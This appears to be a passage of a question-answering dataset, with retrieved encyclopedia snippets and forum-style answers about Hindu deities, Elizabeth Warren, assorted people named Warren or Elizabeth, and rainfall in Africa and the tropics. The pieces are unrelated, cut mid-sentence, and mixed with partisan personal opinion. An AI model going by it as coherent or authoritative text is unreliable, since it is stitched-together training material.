Hinduism, the human body is described as a temple, and deities are described to be parts residing within it, while the Brahman (Absolute Reality, God) is described to be the same, or of similar nature, as the Atman (self, soul), which Hindus believe is eternal and within every living being. Deities in Hinduism are as diverse as its traditions, and a Hindu can choose to be polytheistic, pantheistic, monotheistic, monistic, agnostic, atheistic, or humanist.", "the highest of Hindu deities, and refused to accept any claims that other Hindu deities, such as Brahma or Shiva, might be equally the highest among the deities. Madhvacharya says that in the beginning there was only one God and that was Narayana or Vishnu. Madhvacharya states that the ultimate divine reality, which Hindu traditions refer to as Brahman, and the individual souls, known as jīvātmans, exist as independent realities, and that these are distinct. Madhva states \"brahmaśabdaśca Viṣṇaveva\", that Brahman can only refer to Vishnu. To him, Vishnu was not just any other deva, but rather the one and", "agnostic, atheistic, or humanist. Examples Major deities have inspired a vast genre of literature such as the Puranas and Agama texts as well their own Hindu traditions, but with shared mythology, ritual grammar, theosophy, axiology and polycentrism. Vishnu and his avatars are at the foundation of Vaishnavism, Shiva for Shaivism, Devi for Shaktism, and some Hindu traditions such as Smarta traditions who revere multiple major deities (five) as henotheistic manifestations of Brahman (absolute metaphysical Reality).\nWhile there are diverse deities in Hinduism, states Lawrence, \"Exclusivism – which maintains that only one's own deity is real\" is rare in Hinduism. Julius Lipner,", "sometimes called a summary of the spiritual teachings of the Vedas. It is difficult to identify any universal belief or practice in Hinduism, although prominent themes include: Dharma, Samsara, Karma, and Moksha. Hinduism is sometimes called a polytheistic religion, but this is an oversimplification. Hinduism includes a diverse collection of schools whose beliefs span monotheism, polytheism, pantheism, monism and even atheism. For instance, the Advaita Vedanta school holds that there is only one causal entity (Brahman), which manifests itself into all the various living and non-living forms that we observe, whereas traditions such as Vaishnavism and Shaivism worship Vishnu and", "Hindu traditions, such as Smartism from the mid 1st millennium AD, have included multiple major deities as henotheistic manifestations of Saguna Brahman, and as a means to realizing Nirguna Brahman.\nHindu deities are represented with various icons and anicons, in paintings and sculptures, called Murtis and Pratimas. Some Hindu traditions, such as ancient Charvakas, rejected all deities and concept of god or goddess, while 19th-century British colonial era movements such as the Arya Samaj and Brahmo Samaj rejected deities and adopted monotheistic concepts similar to Abrahamic religions. Hindu deities have been adopted in other religions such as Jainism, and in regions", "along with Vishnu (preserver), Shiva (destroyer), all other gods, goddesses, matter and other beings. In theistic schools of Hinduism where deity Brahma is described as part of its cosmology, he is a mortal like all gods and goddesses, and dissolves into the abstract immortal Brahman when the universe ends, thereafter a new cosmic cycle (kalpa) restarts again.\nBrahman is a metaphysical concept of Hinduism referring to the ultimate unchanging reality, that, states Doniger, is uncreated, eternal, infinite, transcendent, the cause, the foundation, the source and the goal of all existence. It is envisioned as either the cause or that which transforms" ]

[ "Warren's appeal largely comes from the fact that she is a highly respected academic who understands complex details of market economics and finance, and she is an aggressive advocate for consumer protection and financial system reform. \n\nOne common criticism that is leveled at people who seek financial system reform and regulation is that they \"just don't understand\" our financial system (this sentiment was a common response to Occupy Wall Street, for example). Warren is popular in part because everyone pretty much agrees she does understand, and she still thinks our current system needs serious reforms, so she neutralizes the \"they just don't understand\" retort to calls for reforms.", "I should say up front that i'm not a fan of hers, since I am libertarian and she is pretty much exactly the opposite. She is a perfect example of the modern progressive. She favors market regulation, heavily progressive income taxes, and expansion of social programs, while I tend to favor free markets. So I won't have many good things to say about Warren, in the interest of full disclosure.\n\nWhat you should know about her is that she rose to prominence after making a speech about how those who have earned wealth or built a company didn't do so without significant help from society, and they therefore owe society for their success. For example, capitalists benefitted from public roads, paid for by taxes. She believes these tycoons owe society for things like roads. (My view is that these people helped pay for the roads already, and that everyone has equal access to government infrastructure, so it isn't that society afforded these people some kind of advantage that others didn't have. Anyway, form your own opinion.) \n\nShe became a youtube sensation when she famously said \"you didn't build that,\" a phrase which Obama repeated later and which is now usually attributed to him instead of her. Unfortunately for the president, he said it to a national audience instead of to a room full of likeminded liberals, so his speech wasn't nearly as well received as Warren's original statement.\n\nShe also came under fire for exaggerating her Native American heritage to attain an Ivy League faculty appointment, and famously plagiarized a Native American recipe for submission to a cookbook. Not exactly relevant to her politics, but these are things that caused a media storm a few years ago, so I figured I'd mention them if you don't know much about Warren. \n\nEDIT: Here is a link to her video, for convenience: _URL_0_", "Her book, ['A Fighting Chance'](_URL_2_) gives a lot of her background growing up before she got involved in politics. \n\n[Here's a good review of it.](_URL_2_) I'd definitely recommend giving it a read.", "_URL_3_\n\nA few months back she was on Letterman. This is when she caught my attention. Everyone knows late shows such as Letterman are entertainment shows, they are suppose to fun to watch, they are suppose to make you laugh. \n\nThen she comes on. She's serious, she's talking about serious shit. This closer to some kind of PBS documentary, not the typical late night light hearted banter. I watched the entire episode. \n\nIt was jarring (unexpected) to see someone get serious in the fun environment of late night TV. It also made me sad to how we've become numb to real problems. We watch shows like Letterman to escape the problems we don't want to face, that seem too big to fix. We lull ourselves with entertainment and comedy. When we need more people like her telling us a serious message smack dab in the middle of our mindless entertainment." ]

[ "and recognising Warren's own talent. As a judge, Warren presided over cases in all of the court's lists, but particularly the Commercial List, of which she was the judge in charge from 2000.\nWarren was appointed Chief Justice of the Supreme Court (thus becoming Chief Justice of Victoria) on 25 November 2003. She is the first female chief justice in any of the states and territories of Australia. At her ceremonial welcome to that office, the Attorney-General of Victoria, Rob Hulls, recognised Warren's work in advocating equality of opportunity for women lawyers, and described her as \"an eminent jurist, [who] will", "Warren was named one of \"America's Top 25 Leaders\" in October 2005, by U.S. News and World Report. In 2006, Warren was named by Newsweek one of \"15 People Who Make America Great\". Personal life Warren has been married to Kay Warren since June 21, 1975. They have three adult children and four grandchildren. He considers Billy Graham, Peter Drucker, and his own father to be among his mentors.\nBecause of the success of his book sales, in 2005 Warren returned his 25 years of salary to the church and discontinued taking a salary. He says he and his wife became", "Hall of Fame. In January 2012, she was named one of the \"top 20 US progressives\" by the British New Statesman magazine.\nIn 2009, Warren became the first professor in Harvard's history to win the law school's Sacks–Freund Teaching Award for a second time. In 2011, she delivered the commencement address at the Rutgers Law School in Newark, her alma mater, and obtained an honorary Doctor of Laws degree and membership in the Order of the Coif.\nIn 2018, the Women's History Month theme in the United States was \"Nevertheless, She Persisted: Honoring Women Who Fight All Forms of Discrimination against Women\",", "is part of Biosphere 2.\nIn her later years, she became a helicopter pilot and was known to fly from her Cornish home to her suite at The Ritz Hotel via the Battersea Heliport. While flying to California to visit her son Cecil, the Dowager Countess of Suffolk and Berkshire had a heart attack and later died at Antelope Valley Hospital in Lancaster, California on 5 March 1968. In popular culture During the 2014-2015 exhibition at London's National Portrait Gallery, Margaret was featured among the high-profile American heiresses to marry into British aristocracy. Included in the exhibition were Jeanette ('Jennie')", "Janice McKenzie Janice McKenzie is an English actress. She has appeared in Coronation Street as Mrs Paton (2000), Family Affairs as Helen Cooper (1997-1999) and most famously as Gloria Weaver/Pollard in Emmerdale (2000-2003, 2004). She has since appeared in televised dramas such as Holby City (2005), The Royal (2006) and Doctors (2004; 2007). However, she has been most active in theatre throughout her career.\nShe trained at the Guildhall School of Music and Drama and has worked in theatres throughout the UK. She has also been a teacher of English and Drama.", "and therefore granted the title sir. On 5 November 1986, he was knighted by Queen Elizabeth II at Buckingham Palace.\nIn 1991, the University of Leeds awarded him an honorary Doctor of Laws (LLD) degree in recognition of \"his contribution to journalism and the support of the arts and education\".", "... He has been very definitely a liberal-conservative; he represents the kind of political, economic, and social thinking that I believe we need on the Supreme Court.\" Warren received a recess appointment in October 1953, and the Senate confirmed Warren's appointment by acclamation in March 1954. As of 2019, Warren is the most recent Chief Justice to have held statewide elected office at any point in their career, as well as the most recent serving politician to be appointed as the Chief Justice. Leadership and philosophy When Warren was appointed, all the other Supreme Court justices had been appointed by", "Victoria Grayson Personality Victoria Grayson, considered by many Hamptonites as \"the Queen of the Hamptons,\" with a net worth of $1 billion, Victoria is the glamorous and powerful matriarch of the Grayson family. Beneath her glamorous public face, however, she is left in distraught of past choices that were made to keep herself afloat. But besides her hidden pain she is a very powerful woman who will eliminate anyone who stands in her path, if you cross her she can destroy you, but with her on your side you're as good as gold. She will stop at nothing to protect", "Diane D'Aquila Diane D'Aquila (born 1953) is an American-Canadian actress. She has appeared in both television and film roles, but is best known for her stage appearances at the Stratford Festival.\nBorn in Cedar Rapids, Iowa, D'Aquila has spent her adult life and career in Canada, and holds dual citizenship.\nShe originated the role of Elizabeth I of England in Timothy Findley's play, Elizabeth Rex. She won both an ACTRA Award and a Gemini Award in 2005 for her performance in the play's television adaptation.\nShe appeared on television and films including such appearances in Alfred Hitchcock Presents, Street Legal, Used People, The", "Harry J. Warren Biography Warren graduated from Kent State University in 1972 with a bachelor's degree in Political Science. In 1969, he married the former Beverly Rizer. They were married for 20 years and had 4 children together. He is currently married to Catherine Warren. He has six children total.\nBefore election to the NC House of Representatives, Warren worked as a Human Resources Specialist for Tar Heel Capital Corp., one of the largest Wendy's restaurant franchises. He is a member of First United Methodist Church in Salisbury, North Carolina. 2011–2012 session Warren was Chairman of the House Select Committee on", "stronger social programs and increased investment in education. Honors and awards In 2009, The Boston Globe named Warren the Bostonian of the Year and the Women's Bar Association of Massachusetts honored her with the Lelia J. Robinson Award. She was named one of Time magazine's 100 Most Influential People in the World in 2009, 2010 and 2015. The National Law Journal has repeatedly named Warren one of the Fifty Most Influential Women Attorneys in America, and in 2010 it honored her as one of the 40 most influential attorneys of the decade. In 2011, Warren was inducted into the Oklahoma", "American and British Harper's Bazaar, W, Marie Claire,10 Magazine, Carine Roitfeld's CR Fashion Book, Dossier, Esquire, GQ, L'Officiel, LA Times, Missbehave, Status, and Vulture. She has appeared on the covers of Italian Vogue, Brazilian Harper's Bazaar, Brazilian and Swedish Elle, and French Numéro,\nShe has walked the Victoria's Secret Fashion Show in 2012, 2013,2014, 2015, 2016. 2017 and 2018. She has been their fitting model since 2012 and has posed for a few pictures for the brand.\nShe has walked the runways for Bottega Veneta, Givenchy, Diane Von Furstenberg, Loewe, Christian Dior, House of Holland, Alexander McQueen, John Galliano, Vivienne Westwood, Louis", "of her predecessor as Lady Patricia. Later life Despite her relinquishment of her royal title, Lady Patricia remained a member of the British Royal Family, remained in the line of succession, and attended all major royal events, including weddings, funerals, and the coronation of King George VI and Queen Elizabeth and the Queen Elizabeth II in 1937 and 1953 respectively. She rode in the carriage processions with other members of the Royal Family at the funerals of George V in 1936 and of King George VI. At the coronations, she proceeded in state from Buckingham Palace with other members of the Royal", "Black Widow (2007 film) Plot Olivia (Elizabeth Berkley), is young, beautiful, brilliant, and effortlessly charming. She is a dedicated charity worker, responsible for establishing free clinics across the country for poor women. When she meets millionaire Danny Keegan (Randall Batinkoff), the pair soon form a relationship and he falls for her. However, it soon becomes clear that not everyone admires Olivia. Danny’s college friend, Melanie (Alicia Coppola), a photo journalist for the Los Angeles Post, thinks that there is something suspicious about Olivia and soon wants to learn more about the mysterious woman.\nWith the help of her assistant, Finn (Adriana", "to be one of the most influential U.S. Supreme Court justices and political leaders in the history of United States. The Warren Court has been recognized by many to have created a liberal \"Constitutional Revolution\", which embodied a deep belief in equal justice, freedom, democracy and human rights. In July 1974 after Warren died, Los Angeles Times commented that \"Mr. Warren ranked with John Marshall and Roger Taney as one of the three most important chief justices in the nation’s history.\" In December 2006, The Atlantic cited Earl Warren as the 29th most influential person in the history of United", "the office of Earl Marshal at her father's death in 1338. To date, she is the only woman to have held the latter office. Fictional representations Margaret is a character in Georgette Heyer's last novel My Lord John, where she is portrayed sympathetically as a kindly though outwardly formidable old lady. She is saddened by the death of so many of her children and grandchildren, in particular the death by drowning of her infant son Thomas Mauny. In her last years she is shown as being gravely concerned for the future of England, due to the misrule of her", "(23 years, 11 months, 19 days); marriage annulled. Anne Boleyn Anne Boleyn (c.1501/1507 – 19 May 1536) was Henry's second wife and the mother of Elizabeth I. Henry's marriage to Anne and her execution made her a key figure in the political and religious upheaval at the start of the English Reformation. She was the daughter of Sir Thomas Boleyn and Lady Elizabeth Boleyn (born Lady Elizabeth Howard), and she was of nobler birth than Jane Seymour, Henry's later wife. She was dark-haired with beautiful features and lively manners; she was educated in Europe, largely as a lady-in-waiting to Queen Claude", "Diane Langmore, the author of Prime Ministers' Wives (published 1992), Zara Holt \"was the only one of the prime ministers' wives to have been a successful businesswoman. No intellectual, and not particularly introspective, she had common sense and a lack of pretension which endeared her to many. [...] The tragedies of life did not make her bitter or cynical; she retained an openness and warmth until her death.\"\nIn December 1967, Harold Holt disappeared while swimming near Portsea, Victoria; his body was never recovered. Zara was informed of her husband's disappearance by one of his secretaries, Peter Bailey.\nZara Holt was created", "Queen Mother in 1956, and would hold the post until his death, 37 years later. Gilliat was succeeded as Assistant Private Secretary by Major Francis Legh.\n\nQueen Elizabeth had been widowed for only three years when Gilliat entered her service at her London residence of Clarence House, his obituary in The Independent credited him with helping her carve out a new role for herself and described his attitude: \nLike her, he took a genuine interest in the lives and doings of all with whom he came into contact and made them feel that they were important to him. He made no", "worldwide attention for playing Queen Elizabeth I of England in the acclaimed drama Elizabeth (1998). Her performance garnered her a Golden Globe and a BAFTA Award for Best Actress, and her first Academy Award nomination for Best Actress. Elizabeth and her next film, the thriller The Talented Mr. Ripley (1999), performed well at the box office. However, her other 1999 releases—the widely praised An Ideal Husband and the largely panned Pushing Tin—were unsuccessful.\nBlanchett found greater success for portraying Galadriel in Peter Jackson's epic fantasy trilogy The Lord of the Rings (2001–2003). She won the Academy Award for Best Supporting Actress,", "Elizabeth in the film Mary, Queen of Scots, and gained an Academy Award nomination and a BAFTA Award for her role in John Schlesinger's Sunday Bloody Sunday (both 1971). In that year British exhibitors voted her the 6th most popular star at the British box office.\nIn 1971 she made the first of several appearances with Morecambe and Wise, appearing in a comedy sketch as Cleopatra for the BBC Morecambe and Wise Show in which she delivered the line \"All men are fools and what makes them so is having beauty like what I have got.\" Later appearances included a song", "Katherine Warren Career She appeared in over 30 films and dozens of television programs including the TV series Alfred Hitchcock Presents and Bonanza (1960-1973) and the films Jailhouse Rock (1957), The Glenn Miller Story (1954), All the King's Men (1949), and as the mother of Ensign Willie Keith in the big-budget war drama The Caine Mutiny (1954). \nHer final television performances came on the western series Laramie between 1960-63.", "Marilyn Warren Early life Warren grew up in the Melbourne suburb of Sandringham, and was educated at the Kilbreda Convent in Mentone. She later studied law at Monash University, graduating B.Juris (Bachelor of Jurisprudence) and LL.B. (Hons) (Bachelor of Laws with Honours) in 1973 and 1974 respectively and Master of Laws in 1983. In April 2004, she was made an honorary Doctor of Laws by Monash University. Warren was a champion squash player, winning the University's women's championship ten years in a row. She also represented the State of Victoria three times, in a team which won the Australian championships", "Warren G. Harding as Solicitor General of the United States in 1921 and served until his voluntary resignation in 1925, when he again resumed the practice of law. During his term as solicitor general, he had charge of more than 800 cases before the U.S. Supreme Court. He personally and successfully argued more than 100 of those cases. The remainder were detailed to staff.\nHis conservative views were reflected in his 1924 book \"The Constitution of the United States.\" It was a best-seller, going through seven printings within ten months. A special edition of 10,000 copies, with a foreword", "Elizabeth Boleyn (lady-in-waiting) Elizabeth, Lady Boleyn, née Wood, was a lady-in-waiting at the court of Henry VIII of England. Through her marriage to Sir James Boleyn, she was the aunt of Henry VIII's second wife, Anne Boleyn. The two were not close, and Elizabeth Boleyn acted as her niece's gaoler when Queen Anne was arrested on charges of adultery, incest and conspiracy to kill the King.\nElizabeth Boleyn was one of the many relatives who benefitted from the success of her brother-in-law, Sir Thomas Boleyn, who was a successful ambassador and rose to the title Viscount Rochford in 1525. After", "in The Alphabet Murders (1965), Joan Greenwood in The Amorous Prawn (1962), and Deborah Kerr in The Grass is Greener (1960). Queen Elizabeth II Amies is best known to the British public for his work for Queen Elizabeth II. The association began in 1950, when Amies made several outfits for the then-Princess Elizabeth's royal tour of Canada. The award of a Royal Warrant as Official Dressmaker in 1955 gave his house respectability and publicity. Knighted in 1989, Amies held the warrant until 1990, when he gave it up so that younger designers could create for the Queen, although the House", "York's best families, published in The New York Times She was known for being one of the many well-known transatlantic marriages between American heiresses and members of the British Peerage.", "Selina Hastings (writer) Lady Selina Shirley Hastings (born 5 March 1945) is a British journalist, author and biographer.\nThe elder daughter of Francis, 16th Earl of Huntingdon, by his second marriage to Margaret Lane, Hastings was educated at St. Hugh's College, Oxford, where she took an MA degree.\nHastings has written books including Sir Gawain and the Loathly Lady (1985), Nancy Mitford (1986), The Singing Ringing Tree (1988), The Man Who Wanted to Live Forever (1988), The Firebird (1995), Evelyn Waugh (1995), Beibl Lliw Y Plant (1998), Rosamond Lehmann (2002) and The Secret Lives of Somerset Maugham (2010). She is a past", "of the Queen Elizabeth The Queen Mother was commissioned by Macmillan, but when completed it was rejected, and eventually published by Viking in 1986. Her former agent Giles Gordon, in his obituary of her in The Guardian, called it \"the most astute biography of a royal since Lytton Strachey was at work. Penelope had approached her subject as somebody in the public eye, whose career might as well be recorded as if she were a normal human being.\"\nMortimer wrote two volumes of autobiography: About Time: An Aspect of Autobiography, covering her life until 1939, appeared in 1979 and won the", "to the early part of her academic career in the 1980s have characterized her as a \"die-hard conservative\" with a belief in laissez-faire economics and \"surprisingly anti-consumer views\". Gary L. Francione, who had been a colleague of hers at the University of Pennsylvania, recalled in 2019 that when he heard her speak at the time she was becoming politically prominent he \"almost fell off [his] chair... She’s definitely changed\". Warren was registered as a Republican from 1991 to 1996. She voted Republican for many years. \"I was a Republican because I thought that those were the people who best" ]

[ "South America is considerably closer to the equator than N. Africa. Heat from the sun hits Earth most directly at equator, causing the air to warm and rise. Warm air can't hold moisture all too well so clouds form and rain falls pretty heavy there. The air cools as it gets higher and descends around 30 degrees N and S latitude pretty dry, hence why at those latitudes there are lots of deserts. This phenomenon is called the Hadley Cell. \n\nHowever if you look at a globe you notice areas of the world that are at the 30s that are not deserts. For example, Florida. This is due to the fact that florida is surrounded by water on 3 sides. Pressure and temperature differences caused by the ocean (which had different heat retention properties, amongst others, compared to land) keeps Florida relatively wet and not desert compared to other parts of the world like Southwest US and N. Africa. \n\nPhilippines also below 30 degrees N as well. And it's a bunch of islands surrounded by ocean.\n\nMy first ELI5 answer, hope this is a good enough explanation. If not I'm sure someone more qualified than me can fill in!", "Northern Africa has a number of very unique aspects of its climate. The short version is that air from the upper atmosphere is being constantly pulled down. This warm descending air makes it so evaporated water cannot rise. This means its almost impossible for clouds to form anywhere near there, and the entire place is relentlessly battered by the sun.", "_URL_0_\n\nThe **Climate** section explains it in detail, so I'll offer the simplified explanation I give over at r/worldbuilding when it comes to biome placement.\n\nIn general, rainforest/desert splits are due to a prevailing wind bringing in warm moist air to fuel rain storms. Mountain ranges will create a rain shadow, leading to many of the splits.\n\nA secondary source of rain are forests, which emit a lot of water vapor from their leaves during photosynthesis, making forests like warm moist air repeaters. This is why decreasing areas of Brazil rainforest are making nearby areas more prone to drought and drier climates.\n\nThere are two places on Earth with interesting patterns in weather. One is the US south which is forested and stays humid all summer long due to warm humid air from the Gulf of Mexico moving north and cold fronts sweeping through create massive storm systems and frequent tornadoes.\n\nThe other one is the Sahara, which has water on three sides. Generally speaking, one of those sides should be providing warm moist air to flow onto the land and indeed, the Sahara has been green in the past--30,000 years ago or so. The major prevailing wind there is towards the west, causing hurricane formation in the Atlantic and dust blowing over to Brazil. That means warm moist air should flow in from the north and/or east, but prevailing weather conditions keep that from happening. The lack of vegetation also doesn't help.", "A couple of contributing factors:\n\n* Latitude: South America and the Philippines fall between the tropics, which are typically more moist. Northern Africa falls north of the Tropic of Cancer, which is typically a drier area.\n* East coast/west coast: Many continents have colder oceans on their west coasts. Colder oceans have less evaporation, humidity, and precipitation, as you can see in places like northern Africa, California, and Chile. Meanwhile, the eastern oceans are usually warm, resulting in higher humidity and precipitation - for example, in the Orient, Brazil, and east coast of the USA and Canada." ]

[ "as Ghana, Burkina Faso, Darfur, Eritrea, Ethiopia, and Botswana have a distinct rainy season. El Nino results in drier-than-normal conditions in Southern Africa from December to February, and wetter-than-normal conditions in equatorial East Africa over the same period.\nIn Madagascar, trade winds bring moisture up the eastern slopes of the island, which is deposited as rainfall, and bring drier downsloped winds to areas south and west, leaving the western sections of the island in a rain shadow. This leads to significantly more rainfall over northeast sections of Madagascar than its southwestern portions. Southern Africa receives most of its rainfall from summer", "Gabon, and with some large patches leaning to the west from Ghana to Liberia and to the east of Zaïre-Congo basin.\nJudging against rain forest areas in other continents, most of the African rainforest is rather dry and receives between 1600 and 2000 mm of rainfall per year. Areas receiving more rain than this mainly are in coastal areas. The circulation of rainfall throughout the year remains less than other rain forest regions in the world. The average monthly rainfall in nearly the whole region remains under 100 mm throughout the year. The variety of the African rain forest flora is also less", "below-average rainfall over Indonesia and northern South America, while above average rainfall occurs in southeastern South America, eastern equatorial Africa, and the southern United States. Africa In Africa, East Africa—including Kenya, Tanzania, and the White Nile basin—experiences, in the long rains from March to May, wetter-than-normal conditions. Conditions are also drier than normal from December to February in south-central Africa, mainly in Zambia, Zimbabwe, Mozambique, and Botswana. Antarctica Many ENSO linkages exist in the high southern latitudes around Antarctica. Specifically, El Niño conditions result in high-pressure anomalies over the Amundsen and Bellingshausen Seas, causing reduced sea ice and increased poleward", "slopes of the island, which is deposited as rainfall, and brings drier downsloped winds to areas south and west leaving the western sections of the island in a rain shadow. This leads to significantly more rainfall over northeast sections of the island than the southwestern portions of Madagascar. Southern Africa receives most of its rainfall from summer convective storms and with extratropical cyclones moving through the Westerlies. Once a decade, tropical cyclones lead to excessive rainfall across the region. Asia A large annual rainfall minimum, composed primarily of deserts, stretches from the Gobi Desert in Mongolia west-southwest through", "conditions due to a much colder Atlantic Ocean (aided by extensive cold currents from ice sheets in Europe and North America) have meant that the present-day forest zone has supported very little or no rainforest. In interglacial periods, however, rainfall throughout West Africa has often been so heavy that the Gap has become wet enough to support rainforest, thus eliminating the savanna.", "countries around the Mediterranean Basin, such as Lebanon and Morocco. Other examples include the wet temperate conifer forests of northwestern North America.\nTropical evergreen forests (or tropical rainforests) are usually found in areas receiving more than 234 cm of rainfall and having a monthly mean temperature of 20 °C or higher in the coldest months. They occupy about seven percent of the Earth's surface and harbour more than half of the planet's terrestrial plants and animals. Tropical evergreen forests are dense, multi-layered, and harbour many types of plants and animals. These forests are found in the areas receiving heavy rainfall (more than 200 ", "and Quintana Roo), and western Belize are still occupied by the largest continuous tracts of tropical rainforest in Central America. However, these forests are suffering extensive deforestation. Climate Like much of the Caribbean, the peninsula lies within the Atlantic Hurricane Belt, and with its almost uniformly flat terrain it is vulnerable to these large storms coming from the east. The 2005 Atlantic Hurricane Season was a particularly bad season for Mexico's tourism industry, with two forceful category 5 storms hitting, Hurricane Emily and Hurricane Wilma. The 2006 Atlantic Hurricane Season was a typical year which left the Yucatán untouched, but", "Southeast Asia (including Indonesia and Philippines), northern sections of Australia's North, Polynesia, Central America, western and southern Mexico, the Desert Southwest of the United States, southern Guyana, portions of northeast Brazil.\nNorthern Guyana has two wet seasons: one in early spring and the other in early winter. In western Africa, there are two rainy seasons across southern sections, but only one across the north. Within the Mediterranean climate regime, the west coast of the United States and the Mediterranean coastline of Italy, Greece, and Turkey experience a wet season in the winter months. Similarly, the wet season in the Negev", "the tropical rain forest to \"boreal coniferous forests that has persisted and afforded habitats characterized by equable climates during the last 15 million years, when massive extinctions were taking place elsewhere in the Northern Hemisphere...such continuity is interrupted in North America by the Gulf of Mexico and in Europe by the Alps, the Mediterranean, and the Sahara Desert.\" The third reason was due to the impact of the Indian subcontinent with Asia starting 50 million years ago, making a \"highly dissected, elevated geography.\" Taxonomy/Systematics/Floras Raven has produced a wide variety of works in the area of plant systematics. Most", "tropical forests are associated with the location of the monsoon trough, also known as the intertropical convergence zone. The broader category of tropical moist forests are located in the equatorial zone between the Tropic of Cancer and Tropic of Capricorn. Tropical rainforests exist in Southeast Asia (from Myanmar (Burma)) to the Philippines, Malaysia, Indonesia, Papua New Guinea and Sri Lanka; also in Sub-Saharan Africa from the Cameroon to the Congo (Congo Rainforest), South America (e.g. the Amazon rainforest), Central America (e.g. Bosawás, the southern Yucatán Peninsula-El Peten-Belize-Calakmul), Australia, and on Pacific Islands (such as Hawaiʻi). Tropical forests have been", "Namibia and northeast South Africa.\nIn the rainy season moves out of denser and taller deciduous woodlands of central Africa into more open tree savanna further south, and probably into coastal East Africa; as the rains cause the leaves to emerge turning woodland into forest and tree savanna into woodland. It may then enter towns in South Africa to prey mainly on doves and feral pigeons. A similar north to south movement is expected in west Africa, where species has been recorded as a vagrant west to Senegal and Gambia, albeit unconfirmed. Biology Ayres's hawk-eagle is a bird hunter, almost to", "2009 West Africa floods Seasonal rainfall Countries in West Africa and the southern Sahel get most of their annual rainfall during the boreal summer months from June to September. This rainy season, also known as the West African monsoon, is associated with a seasonal reversal of prevailing winds in the lower atmosphere, where moist air is blown in from the Atlantic Ocean and released over the continent.\nThe exceptionally heavy rainfall experienced in West Africa during the 2009 monsoon season is associated with the periodic warming of the Pacific Ocean, a phenomenon known as El Niño, which affects weather worldwide. Benin", "east coast of Africa and south-west Pacific Ocean. It has also been reported in East Africa, the Philippines, Japan, China, and Taiwan. They usually reside inland and away from the coastline in moist environments such as rainforests because they do not like to get wet, but still require a high amount of humidity. Generally, they require at least eighty percent humidity and enjoy temperatures between eighty and eighty-five degrees, which influences their distribution greatly towards tropical zones. The present record of this species suggests a continuous distribution from the east coast of Africa to the south-west Pacific Ocean. Behavior and", "wettest portion of the continent. Annually, the rain belt across the continent marches northward into Sub-Saharan Africa by August, then moves back southward into south-central Africa by March. Mesoscale convective systems which form in tandem with tropical waves that move along the Intertropical Convergence Zone during the summer months become the seedlings for tropical cyclones which form in the northern Atlantic and northeast Pacific oceans. Areas with a savannah climate in Sub-Saharan Africa, such as Ghana, Burkina Faso, Darfur, Eritrea, Ethiopia, and Botswana have a distinct rainy season.\nWithin of Madagascar, trade winds bring moisture up the eastern", "than the other rain forests. This lack of flora has been credited to several reasons such as the gradual infertility since the Miocene, severe dry periods during Quaternary, or the refuge theory of the cool and dry climate of tropical Africa during the last severe ice age of about 18000 years ago.\nA recent vegetation map of Africa published by UNESCO and the main vegetation features of Central African rain forest divides the area into the following categories:\n. This type of forest shows no substantial seasonal behavior. At the border of the central basin is the mesophilous semi-deciduous forest that is", "and East Asia are monsoon regimes.\nA tropical savanna is a grassland biome located in semiarid to semi-humid climate regions of subtropical and tropical latitudes, with average temperatures remain at or above 18 °C (64 °F) year round and rainfall between 750 millimetres (30 in) and 1,270 millimetres (50 in) a year. They are widespread on Africa, and are found in India, the northern parts of South America, Malaysia, and Australia.\nThe humid subtropical climate zone where winter rainfall (and sometimes snowfall) is associated with large storms that the westerlies steer from west to east. Most summer rainfall occurs during thunderstorms and from occasional tropical cyclones.", "Tropical Africa Although tropical Africa is mostly familiar to the West for its rainforests, this ecozone of Africa is far more diverse. While the tropics are thought of as regions with warm to hot moist climates caused by latitude and the tropical rain belt, the geology of areas, particularly mountain chains, and geographical relation to continental and regional scale winds impact the overall parts of areas, also, making the tropics run from arid to humid in West Africa. The area has very serious overpopulation problems. Region protection Many African countries are in economic and political change, overwhelmed by conflict, making", "Seychelles, Bermuda, Canada, the United States, Greenland, and the North Atlantic islands.\nThe African species is a partial migrant, but its movements are complex, seasonal and poorly studied. It is mainly a wet-season breeder, and many birds move away from the equator as soon as the rains provide sufficient grass cover to allow them to breed elsewhere. Southward movement is mainly from November to April, the return north beginning when burning or drought reduces the grass cover again. This species is present throughout the year in some West African countries, and in equatorial regions, but even in those areas numbers vary", "jungle. The term jungle is also sometimes applied to tropical rainforests generally.\nRainforests as well as endemic rainforest species are rapidly disappearing due to deforestation, the resulting habitat loss and pollution of the atmosphere. Tropical Tropical rainforests are characterized by a warm and wet climate with no substantial dry season: typically found within 10 degrees north and south of the equator. Mean monthly temperatures exceed 18 °C (64 °F) during all months of the year. Average annual rainfall is no less than 168 cm (66 in) and can exceed 1,000 cm (390 in) although it typically lies between 175 cm (69 in) and 200 cm (79 in).\nMany of the world's", "east to Cameroon and from Ethiopia west (with observations in the Degua Tembien mountains) to Congo and south to South Africa. Some populations migrate to Africa through India. A collision with an aircraft over the Arabian Sea has been recorded.\nIt is a bird of warm, dry, open country with scattered trees, preferring lowlands, but occur up to 1000 m (3300 ft) in Europe and 2000 m (6600 ft) in Morocco. Oak and pine woodlands with open areas are prime breeding habitat, but farms, orchards and similar areas with mixed vegetation are also used. In Africa, a similarly wide range of dry open land with", "a broad belt across sub-Saharan Africa and down the east of the continent to South Africa and Madagascar. The Indian subcontinent is the Asian stronghold. It undertakes seasonal movements in response to the availability of water and food. African birds move southwards in the southern summer to breed and return north in the winter, and Asian populations are highly nomadic due to the variability of rainfall. This species has strong colonising tendencies, having expanded its range in Mexico, the US and the West Indies in recent decades. Wandering birds can turn up far beyond the normal range, sometimes staying to", "forest in the world and is part of the Tumbes-Chocó-Magdalena biodiversity hotspot. As much as 98% of coastal tropical forest have already been lost in Ecuador, almost all occurring during the last three generations. The Pacific Equatorial Forest, in particular, represents the greatest concentration of unprotected forest in coastal Ecuador and has been designated by several international conservation organizations as a global conservation priority. Location The Pacific Equatorial Forests is bound by the shores of the Pacific Ocean to the west and the peaks of the long and narrow Jama-Coaque Coastal Mountain Range, which stretches along the coast at an", "western South America south to Bolivia and Argentina. It is present in tropical climate in disturbed lowland areas from sea level to 1000 m of elevation. Ecology This species colonize disturbed habitats in tropical lowland areas, becoming part of the secondary vegetation, as well as gallery forests. It thrives in poor soil, able to tolerate acidic and alkaline conditions and drought, but doesn't grow on saline conditions.\nThe seeds are dispersed by birds and fruit bats.\nAlthough native to tropical America, M. calabura has been introduced in Southeast Asia and naturalized there and in other tropical parts of the world. Uses M.", "normally more than 1,000 meters (3,300 ft) above sea level. Tree species include evergreen oaks, members of the laurel family, and species of Weinmannia, Drimys, and Magnolia. The cloud forest of Sierra de las Minas, Guatemala, is the largest in Central America. In some areas of southeastern Honduras there are 